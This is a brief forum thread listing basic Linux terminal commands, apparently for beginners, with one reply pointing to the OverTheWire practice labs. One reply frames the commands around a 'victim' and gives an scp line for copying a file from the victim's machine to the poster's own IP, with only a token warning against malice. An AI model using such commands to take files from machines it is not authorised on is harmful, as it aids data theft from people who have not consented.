Forum Thread: Useful Terminal Commands?

I assume this victim of yours knows your intentions and that this is just a white hat practice.

Also, assuming you are on Linux...
Those are all useful commands by the way. You also might want:
cp <source> <destination> = copy file/directory
scp = secure version of cp
cat <file> = print file contents
rm <file> = delete file
netstat -a = view all network connections
halt = shut down
reboot = restart
grep <'text'> <file> = find 'text' in given file
mdfind -name <'filename'> = find file called 'filename'
wget -O <'name' <URL> = download file from web and save as 'name'

If you want to send a file from the victim to yourself, type:
scp <file> your_computer_username@your_public_ip

This is just basic summary of fundamental Linux commands. Don't try and do anything malicious, but I can't really stop you. Just needed to mention that.

TRT

All terminal commands are useful, it just depends on what you're trying to do.

More information.

ghost_

What both of these said, it depends. Look up Over the wire bandit labs. It starts you off simple but gets harder